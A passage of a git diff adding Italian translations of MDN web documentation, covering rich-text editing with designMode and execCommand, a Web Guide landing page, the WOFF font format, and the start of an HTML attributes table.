+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Crea un elenco puntato all'interno della selezione corrente o alla posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">insertParagraph</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Inserisce una paragrafo attorno alla selezione o alla riga corrente. (Internet Explorer inserisce un paragrafo alla posizione del cursore e cancella la selezione.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">italic</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Attiva o disattiva il corsivo sulla selezione o alla posizione del cursore. (Internet Explorer usa il tag EM al posto di I.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">justifyCenter</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Allinea al centro la selezione o la posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">justifyLeft</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Allinea a sinistra la selezione o la posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">justifyRight</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Allinea a destra la selezione o la posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">outdent</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Diminuisce il rientro dell'elemento sulla selezione o alla posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">paste</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Incolla il contenuto degli appunti alla posizione del cursore (sostituisce la selezione corrente). I permessi per usare questo comando devo essere abilitati nel file di configurazione user.js. Vedi </dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">redo</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Ripristina il comando precedentemente annullato.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">removeFormat</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Rimuove tutta la formattazione dalla selezione corrente.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">selectAll</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Seleziona tutto il contenuto dell'area modificabile.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">strikeThrough</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Attiva o disattiva il testo barrato sulla selezione o alla posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">subscript</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Attiva o disattiva subscript sulla selezione o alla posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">superscript</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Attiva o disattiva superscript sulla selezione o alla posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">underline</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Attiva o disattiva la sottolineatura sulla selezione o alla posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">undo</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Annulla l'ultimo comando eseguito.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">unlink</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Rimuove il collegamento dal collegamento selezionato.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">useCSS {{ Deprecated_inline() }}</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Attiva o disattiva l'uso di tags HTML tags o CSS per la generazione del markup. Richiede una valore booleano true/false come argomento. NOTA: Questo argomento è invertito (es. usa false per usare il CSS, true per usare l'HTML). (Non supportato da Internet Explorer.) Questo comando è diventato deprecato; in alternativa usa il comando <em>styleWithCSS</em>.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">styleWithCSS</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Sostituisce il comando <em>useCSS</em>; l'argomento, a differenza del comando useCSS, l'argomento lavora come ci si aspetta, es. passato true modifica/genera attributi <em>style</em> nel markup, false genera elementi di formattazione.</dd>
+</dl>
+</blockquote>
+
+<h3 id="Internet_Explorer_Differences" name="Internet_Explorer_Differences">Differenze con Internet Explorer</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Una delle maggiori differenze tra Mozilla e Internet Explorer che coinvolgono designMode è il codice generato nel documento modificabile: while Internet Explorer uses HTML tags (em, i, ecc), Mozilla 1.3 will generate by default spans with inline style rules. Il comando  <code style="color: rgb(37, 34, 29); font-weight: inherit;">useCSS </code>può essere usato per attivare o disattivare la creazione di markup HTML o CSS.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Figure 1 : Generated HTML differences</strong></p>
+
+<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; font: normal normal normal 12px/normal 'Courier New', 'Andale Mono', monospace; color: rgb(37, 34, 29);">Mozilla:
+&lt;span style="font-weight: bold;"&gt;I love geckos.&lt;/span&gt;
+&lt;span style="font-weight: bold; font-style: italic;
+    text-decoration: underline;"&gt;Dinosaurs are big.&lt;/span&gt;
+
+Internet Explorer:
+&lt;STRONG&gt;I love geckos.&lt;/STRONG&gt;
+&lt;STRONG&gt;&lt;EM&gt;&lt;U&gt;Dinosaurs are big.&lt;/U&gt;&lt;/EM&gt;&lt;/STRONG&gt;
+</pre>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Un'altra differenza tra Mozilla e IE è il modo in cui si accede all'oggetto document di un iframe, con la quale viene usato in congiunzione con designMode. Mozilla usa il modo standard fornito da W3C, <code style="color: rgb(37, 34, 29); font-weight: inherit;">IFrameElement.<a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-38538621">contentDocument</a></code>, mentre IE richiede <code style="color: rgb(37, 34, 29); font-weight: inherit;">IFrameElement.document</code>.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><em><strong>DevEdge</strong></em> fornisce una classe JavaScript, <code style="color: rgb(37, 34, 29); font-weight: inherit;"><a href="/en/Rich-Text_Editing_in_Mozilla/Class_xbDesignMode" rel="internal" title="en/Rich-Text_Editing_in_Mozilla/Class_xbDesignMode">xbDesignMode</a></code>, il cui scopo è quello di racchiudere le caratteristiche di designMode in una classe che nasconde le differenze tra IE e Mozilla.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><br>
+ <strong>Gestione degli Eventi Disabilitati</strong></p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Una significante differenza per Mozilla è che una volta che viene impostato il documento a designMode, tutti gli eventi sul determinato documento vengono disabilitati. Tuttavia, disattivato il designMode (come ora è possibile in Mozilla 1.5) gli eventi diventeranno attivi di nuovo.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Maggiori informazioni</strong> possono essere trovato nella sezione <a href="/en/Migrate_apps_from_Internet_Explorer_to_Mozilla#Rich_text_editing" rel="internal" title="en/Migrate_apps_from_Internet_Explorer_to_Mozilla#Rich_text_editing">Rich text editing</a> dell'articolo <a href="/en/Migrate_apps_from_Internet_Explorer_to_Mozilla" rel="internal" title="en/Migrate_apps_from_Internet_Explorer_to_Mozilla">Convertire le applicazioni da Internet Explorer a Mozilla</a>.</p>
+
+<h3 id="Examples" name="Examples">Esempi</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><em><strong>Nota:</strong> I files di esempio sono stati trasferiti su un'altro sito. In questo momento non sono disponibili.</em> --<a href="/User:Fumble" rel="internal" title="User:Fumble">fumble</a> 18:13, 24 Apr 2005 (PDT)</p>
+
+<h4 id="Example_1" name="Example_1">Esempio 1</h4>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Il primo esempio è un documento HTML impostato con <code style="color: rgb(37, 34, 29); font-weight: inherit;">designMode</code> a "On". In Mozilla 1.3, questo rende l'intero documento modificabile. Tuttavia, Internet Explorer, non permette a javascript di cambiare il designMode del documento corrente. Per farlo funzionare in Internet Explorer, l'attributo <code style="color: rgb(37, 34, 29); font-weight: inherit;">contentEditable</code> del tag body necessita di essere impostato a "true".</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Figura 2 : Primo esempio</strong></p>
+
+<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; font: normal normal normal 12px/normal 'Courier New', 'Andale Mono', monospace; color: rgb(37, 34, 29);">HTML:
+&lt;body contentEditable="true" onload="load()"&gt;
+
+JavaScript:
+function load(){
+  window.document.designMode = "On";
+}
+</pre>
+
+<h4 id="Example_2" name="Example_2">Esempio 2</h4>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Il secondo esempio è una semplice pagina in rich text editing, dove il testo può essere trasformato in grassetto/corsivo/sottolineato, possono essere aggiunti nuovi collegamenti e si può cambiare il colore del testo. La pagina di esempio consiste in un iframe, la quale sarà l'area rich-text, nonché gli elementi che consento di effettuare modifiche base al testo come grassetto/corsivo/colore del testo.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Figura 3 : Impostazione del rich-text editing</strong></p>
+
+<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; font: normal normal normal 12px/normal 'Courier New', 'Andale Mono', monospace; color: rgb(37, 34, 29);">HTML:
+&lt;body onload="load()"&gt;
+
+JavaScript:
+function load(){
+  getIFrameDocument("editorWindow").designMode = "On";
+}
+
+function getIFrameDocument(aID){
+  // se esiste contentDocument, W3C compliant (Mozilla)
+  if (document.getElementById(aID).contentDocument){
+    return document.getElementById(aID).contentDocument;
+  } else {
+    // IE
+    return document.frames[aID].document;
+  }
+}
+</pre>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">L'esempio contiene una funzione <code style="color: rgb(37, 34, 29); font-weight: inherit;">doRichEditCommand</code> che rende semplice l'esecuzione dei comandi nel documento dell'iframe e mantiene pulito il codice HTML. La funzione esegue il comando richiesto tramite <code style="color: rgb(37, 34, 29); font-weight: inherit;">execCommand()</code> e dopodiché imposta il focus di nuovo al documento modificabile, come anche cliccando su di un pulsante imposterà il focus su pulsante stesso, la quale interromperà il flusso di modifica.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Figura 4 : Esecuzione dei comandi Rich Editing</strong></p>
+
+<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; font: normal normal normal 12px/normal 'Courier New', 'Andale Mono', monospace; color: rgb(37, 34, 29);">HTML:
+&lt;button onclick="doRichEditCommand('bold')" style="font-weight:bold;"&gt;B&lt;/button&gt;
+
+JavaScript:
+function doRichEditCommand(aName, aArg){
+  getIFrameDocument('editorWindow').execCommand(aName,false, aArg);
+  document.getElementById('editorWindow').contentWindow.focus()
+}
+</pre>
+
+<h3 id="Resources" name="Resources">Risorse</h3>
+
+<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <li style="margin-bottom: 0.25em;"><a class="external" href="http://mozilla.org/editor/midas-spec.html">mozilla.org's rich-text editing Specification</a></li>
+ <li style="margin-bottom: 0.25em;"><a class="external" href="http://mozilla.org/editor/midasdemo/">mozilla.org's rich-text editing Demo</a></li>
+ <li style="margin-bottom: 0.25em;"><a href="/en/Migrate_apps_from_Internet_Explorer_to_Mozilla" rel="internal" title="Convertire le applicazioni da Internet Explorer a Mozillaa">Convertire le applicazioni da Internet Explorer a Mozilla</a><a class="external" href="http://www.mozilla.org/editor/ie2midas.html"> su mozilla.org</a></li>
+ <li style="margin-bottom: 0.25em;"><a href="/it/docs/Web/API/Document/designMode">designMode</a></li>
+ <li style="margin-bottom: 0.25em;"><a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537834(v=vs.85)">MSDN: How to Create an HTML Editor Application</a></li>
+ <li style="margin-bottom: 0.25em;"><a class="external" href="http://www.kevinroth.com/rte/demo.htm">A closed source, cross-browser rich-text editing demo</a></li>
+ <li style="margin-bottom: 0.25em;"><a href="/en/Rich-Text_Editing_in_Mozilla/Class_xbDesignMode" rel="internal" title="en/Rich-Text_Editing_in_Mozilla/Class_xbDesignMode">xbDesignMode; a JavaScript helper class for easier cross-browser development using designMode.</a></li>
+ <li style="margin-bottom: 0.25em;"><a class="external" href="http://starkravingfinkle.org/blog/2007/07/firefox-3-contenteditable/">Firefox 3 and contentEditable</a></li>
+</ul>
diff --git a/files/it/web/guide/index.html b/files/it/web/guide/index.html
new file mode 100644
index 0000000000..db55293bd5
--- /dev/null
+++ b/files/it/web/guide/index.html
@@ -0,0 +1,39 @@
+---
+title: Guida Web developer
+slug: Web/Guide
+tags:
+  - Guide
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Web/Guide
+---
+<p><strong>Questi articoli forniscono informazioni utili per l'utilizzo di specifiche tecnologie e API.</strong></p>
+
+<div>
+<div>
+<ul>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS">CSS developer guide</a></li>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Events">Event developer guide</a></li>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Graphics">Graphics on the Web</a></li>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API">Guide to Web APIs</a></li>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML">HTML developer guide</a></li>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></li>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Localizations_and_character_encodings">Localizations and character encodings</a></li>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Mobile">Mobile Web Development</a></li>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance">Optimization and performance</a></li>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Parsing_and_serializing_XML">Parsing and serializing XML</a></li>
+ <li class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/SVG-in-OpenType">SVG-in-OpenType</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/WOFF">The Web Open Font Format (WOFF)</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/User_experience">User experience</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Using_FormData_Objects">Using FormData Objects</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Reference" title="/en-US/docs/Web/Reference">Web Developer Reference</a></li>
+</ul>
diff --git a/files/it/web/guide/woff/index.html b/files/it/web/guide/woff/index.html
new file mode 100644
index 0000000000..c3fb596778
--- /dev/null
+++ b/files/it/web/guide/woff/index.html
@@ -0,0 +1,99 @@
+---
+title: Il Formato Open di Font per il Web (WOFF)
+slug: Web/Guide/WOFF
+translation_of: Web/Guide/WOFF
+---
+<p><span class="seoSummary"><strong>WOFF</strong> (<strong>Web Open Font Format</strong>, Formato Font per il Web Open) e un nuovo formato di font per il web sviluppato da Mozilla in collaborazione con Type Supply, LettError, e altre organizzazioni. Usa una versione compressa della stessa struttura <code>sfnt</code> basata su tabelle di TrueType, OpenType e Open Font Format, ma aggiunge alcuni metadati e strutture dati ad uso privato, compresi alcuni campi predefiniti che permettono di fornire informazioni di licenza se lo si desidera.</span></p>
+
+<p>Usare WOFF comporta principalmente tre benefici:</p>
+
+<ol>
+ <li>I dati del font sono compressi, quindi i siti che usano WOFF usano meno banda e si caricheranno più in fretta rispetto a quelli che usano equivalenti non compressi come TrueType o OpenType.</li>
+ <li>Molti produttori di font che non intendono dare in licenza i propri font in formato TrueType o OpenType per l'uso nel web, daranno in licenza i font in formato WOFF. Questo migliora la disponibilità di font ai designer di siti web.</li>
+ <li>I produttori di browser (sia proprietari che liberi) apprezzano il formato WOFF, che ha quindi il potenziale per diventare un formato per i font realmente universale e interoperabile, a differenza degli attuali formati per i font.</li>
+</ol>
+
+<h2 id="Usare_WOFF">Usare WOFF</h2>
+
+<p>Puoi usare la proprietà CSS {{cssxref("@font-face")}} per utilizzare i font WOFF per il testo nei contenuti web. Funziona esattamente come i formati OpenType e TrueType, eccetto per il fatto che molto probabilmente renderà lo scaricamento molto più efficiente grazie alla compressione.</p>
+
+<h2 id="Strumenti_per_lavorare_con_i_font_WOFF">Strumenti per lavorare con i font WOFF</h2>
+
+<p>Sono disponibili <a href="https://people.mozilla.org/~jkew/woff/">Strumenti per lavorare con i font WOFF</a>. <code>sfnt2woff</code> e <code>woff2sfnt</code> convertono da WOFF a OpenType e viceversa.</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WOFF1.0', '', '')}}</td>
+   <td>{{Spec2('WOFF1.0')}}</td>
+   <td>Specifica iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>6.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{cssxref("@font-face")}}</li>
+</ul>
diff --git a/files/it/web/html/attributi/index.html b/files/it/web/html/attributi/index.html
new file mode 100644
index 0000000000..7bb21c96a2
--- /dev/null
+++ b/files/it/web/html/attributi/index.html
@@ -0,0 +1,590 @@
+---
+title: Attributi
+slug: Web/HTML/Attributi
+translation_of: Web/HTML/Attributes
+---
+<p>Gli elementi in HTML hanno <strong>attributi</strong>; questi sono valori addizionali che configurano l'elemento o modificano in vari modi il suo comportamento.</p>
+<h2 id="Lista_degli_attributi">Lista degli attributi</h2>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th>Nome dell'attributo</th>
+      <th>Elementi supportati</th>
+      <th>Descrizione</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>accept</td>
+      <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+      <td>Lista di tipi che il server accetta, normalmente un file di tipo type.</td>
+    </tr>
+    <tr>
+      <td>accept-charset</td>
+      <td>{{ HTMLElement("form") }}</td>
+      <td>Lista delle codifiche di caratteri supportate.</td>
+    </tr>
+    <tr>
+      <td>accesskey</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Definisce una scorciatoia da tastiera per attivare o aggiungere il focus all'elemento.</td>
+    </tr>
+    <tr>
+      <td>action</td>
+      <td>{{ HTMLElement("form") }}</td>
+      <td>L' URI di un programma che processa le informazioni inviate per mezzo di un modulo.</td>
+    </tr>
+    <tr>
+      <td>align</td>
